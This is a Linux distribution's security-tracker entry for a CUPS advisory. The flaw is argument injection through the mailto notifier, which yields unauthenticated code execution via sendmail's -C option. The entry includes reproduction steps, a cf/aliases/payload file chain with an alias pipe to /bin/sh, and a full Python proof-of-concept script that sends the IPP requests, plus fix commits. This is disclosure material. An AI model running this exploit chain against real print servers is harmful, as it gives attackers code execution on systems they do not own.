GHSA-r4wf-366f-f6g3 on Cyberus Linux 26.05
Aliases: GHSA-r4wf-366f-f6g3
Packages: cups
Status: Plausible
Advisory Information
Summary
An anonymous remote user can create a printer subscription with an arbitrary notify-recipient-uri via CUPS's IPP subscription feature. The scheduler only validates the URI's scheme (the notifier type) and does not validate the recipient address itself. When an event fires, the mailto notifier passes the recipient address verbatim as a command-line argument to sendmail, so a recipient string starting with "-" is interpreted as a sendmail option (argument injection, CWE-88). An attacker can exploit this to make sendmail read a crafted configuration file, achieving unauthenticated, remote, zero-interaction arbitrary code execution with the privileges of the filter user (lp). The full chain was reproduced and confirmed in a real environment (Ubuntu 24.04 + distro CUPS + sendmail).
Details
There are two root causes.
create_printer_subscription in scheduler/ipp.c: when receiving notify-recipient-uri, it checks the URI format with httpSeparateURI and only verifies that a regular, executable file corresponding to the scheme exists under ServerBin/notifier/. It performs no validation whatsoever on the address portion. Based on the code comment ("Validate the recipient scheme..."), validation was clearly intended, but only the scheme check was actually implemented.
pipe_sendmail in notifier/mailto.c: when a subscribed event occurs, the recipient string is passed as-is as a sendmail execution argument (execvp(argv[0], argv), argv = { "/usr/sbin/sendmail",
}). There is no leading "-" check and no "--" separator is inserted. In the default policy (
in cupsd.conf), Create-Printer-Subscription falls under and is allowed anonymously. Print-Job and Get-Jobs are also allowed anonymously. Exploitation path: since sendmail supports bundled short options, a recipient of mailto:-tC
becomes the two options -t and -C . sendmail parses the config file specified via -C (and refuses to run as root when -C is used, so it runs with the privileges of the invoking user), and a command pipe is executed via an alias definition inside that config file. The attacker plants a cf file/aliases file/payload file via Print-Job into the spool (/var/spool/cups/dNNNNN-001, mode 0640 root:lp, so lp can read it via group permission; job IDs are assigned sequentially), and includes O DefaultUser=lp:lp inside the cf file so the pipe process can read the spool file. Since sendmail strips unquoted whitespace in alias entries, the pipe target must be quoted, and using the recipient string itself (which is copied verbatim into the To: header) as the alias name allows it to match without any separate ruleset. Prerequisites: cupsd must be exposed to the network (e.g., a print server with Listen *:631) or there must be a local unprivileged user. /usr/sbin/sendmail must be a traditional sendmail that supports -C (Postfix's sendmail does not support -C, which invalidates this; Exim drops privileges when -C is used as non-root). Since Ubuntu/Debian default installs have no MTA, the real targets are systems where traditional sendmail is installed (e.g., legacy mail/print servers).
PoC (Reproduction Steps)
Environment: Ubuntu 24.04 (Docker or VM). apt-get install cups cups-daemon sendmail sendmail-bin sendmail-cf. Add FileDevice Yes to /etc/cups/cups-files.conf, and confirm /etc/cups/mailto.conf contains Sendmail /usr/sbin/sendmail. After starting cupsd, create a test queue with lpadmin -p test1 -v file:/dev/null -E. The attacker only needs to send IPP requests over 631/TCP (using only operations allowed anonymously under the default policy).
- Send a dummy Print-Job to obtain the job-id counter from the response (subsequent IDs are sequential).
- Submit the following three documents, each as a Print-Job (application/octet-stream): • aliases file: -tC/var/spool/cups/d
-001: "|/bin/sh /var/spool/cups/d -001" • payload script: e.g., id > /tmp/pwned-cups.log • sendmail.cf: the distro's default cf plus O AliasFile=/var/spool/cups/d -001, O QueueDirectory=/var/spool/cups/tmp, O PidFile=/tmp/sm-poc.pid, O SuperSafe=False, O DefaultUser=lp:lp added - Create-Printer-Subscription: notify-recipient-uri=mailto:-tC/var/spool/cups/d
-001, notify-events=job-completed. - Send one more Print-Job → job-completed event → mailto notifier → sendmail -tC
executes → cf is parsed → payload is executed via the alias pipe. - Verification: /tmp/pwned-cups.log is created owned by lp, and its contents show uid=7(lp) gid=7(lp).
import socket, struct, sys, time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else "631" PRINTER_URI = f"ipp://{HOST}:{PORT}/printers/test1" SPOOL = "/var/spool/cups" def attr(tag, name, value): n, v = name.encode(), value.encode() if isinstance(value, str) else value return struct.pack(">Bh", tag, len(n)) + n + struct.pack(">h", len(v)) + v def ipp_msg(op, groups, document=b""): msg = struct.pack(">BBhI", 1, 1, op, 1) for gtag, attrs in groups: msg += bytes([gtag]) for a in attrs: msg += a msg += b"\x03" return msg + document def send(body): s = socket.create_connection((HOST, PORT), timeout=30) req = (f"POST /printers/test1 HTTP/1.1\r\nHost: {HOST}\r\nContent-Type: application/ipp\r\n" f"Connection: close\r\nContent-Length: {len(body)}\r\n\r\n").encode() + body s.sendall(req) resp = b"" try: while True: c = s.recv(4096) if not c: break resp += c except socket.timeout: pass s.close() return resp def parse_attrs(body): _, _, body = body.partition(b"\r\n\r\n") if len(body) < 9: return 0, {} status = struct.unpack(">h", body[2:4])[0] attrs = {} i = 8 while i < len(body): tag = body[i]; i += 1 if tag == 0x03: break if tag < 0x10: continue nlen = struct.unpack(">h", body[i:i+2])[0]; i += 2 name = body[i:i+nlen].decode(errors="replace"); i += nlen vlen = struct.unpack(">h", body[i:i+2])[0]; i += 2 if tag in (0x21, 0x22, 0x23): val = struct.unpack(">i", body[i:i+4])[0] else: val = body[i:i+vlen].decode(errors="replace") i += vlen attrs[name] = val return status, attrs def print_job(doc, name): msg = ipp_msg(0x0002, [(0x01, [ attr(0x47, "attributes-charset", "utf-8"), attr(0x48, "attributes-natural-language", "en"), attr(0x45, "printer-uri", PRINTER_URI), attr(0x49, "document-format", "application/octet-stream"), attr(0x42, "job-name", name), attr(0x42, "requesting-user-name", "poc"), ])], document=doc) status, attrs = parse_attrs(send(msg)) return status, attrs.get("job-id") def subscribe(recipient): msg = ipp_msg(0x0016, [ (0x01, [ attr(0x47, "attributes-charset", "utf-8"), attr(0x48, "attributes-natural-language", "en"), attr(0x45, "printer-uri", PRINTER_URI), ]), (0x06, [ attr(0x45, "notify-recipient-uri", recipient), attr(0x42, "notify-events", "job-completed"), ]), ]) status, attrs = parse_attrs(send(msg)) return status, attrs sd, D = print_job(b"dummy\n", "dummy") A, B, C = D + 1, D + 2, D + 3 recipient_cf_path = f"{SPOOL}/d{C:05d}-001" aliases = f"-tC{recipient_cf_path}: \"|/bin/sh {SPOOL}/d{B:05d}-001\"\n" sa, ja = print_job(aliases.encode(), "aliases") payload = "#!/bin/sh\nid > /tmp/pwned-cups.log\ndate >> /tmp/pwned-cups.log\n" sb, jb = print_job(payload.encode(), "payload") with open("/poc/base.cf", "rb") as f: base_cf = f.read().decode() cf = base_cf + f""" O AliasFile={SPOOL}/d{A:05d}-001 O QueueDirectory={SPOOL}/tmp O PidFile=/tmp/sm-poc.pid O SuperSafe=False O DefaultUser=lp:lp """ sc, jc = print_job(cf.encode(), "cf") assert ja == A and jb == B and jc == C, "job id 어긋남 — 동시 작업 있음" recipient = f"mailto:-tC{recipient_cf_path}" ss, _ = subscribe(recipient) s5, j5 = print_job(b"trigger\n", "trigger")CVSS score remediation Rescored: AV:L (by default cupsd does not expose remote access), PR:L (you need to be logged in), I:N and A:N (not affecting the integrity or availability of CUPS).
Fix [master 1244ed95912ee36c4ed] Validate notification email addresses and fix sendmail usage (GHSA-r4wf-366f-f6g3)
[2.4.x 611d1bd3bdf832363832383567906a6d7fd6c47d] Validate notification email addresses and fix sendmail usage (GHSA-r4wf-366f-f6g3)
Updates
2026-09-21 21:23 CEST
Metadata changes:
- Status for package
cups: “Plausible”
(Amended on: 2026-09-21 21:24 CEST)
2026-09-21 21:18 CEST
Metadata changes:
- Status for package
cups: “New”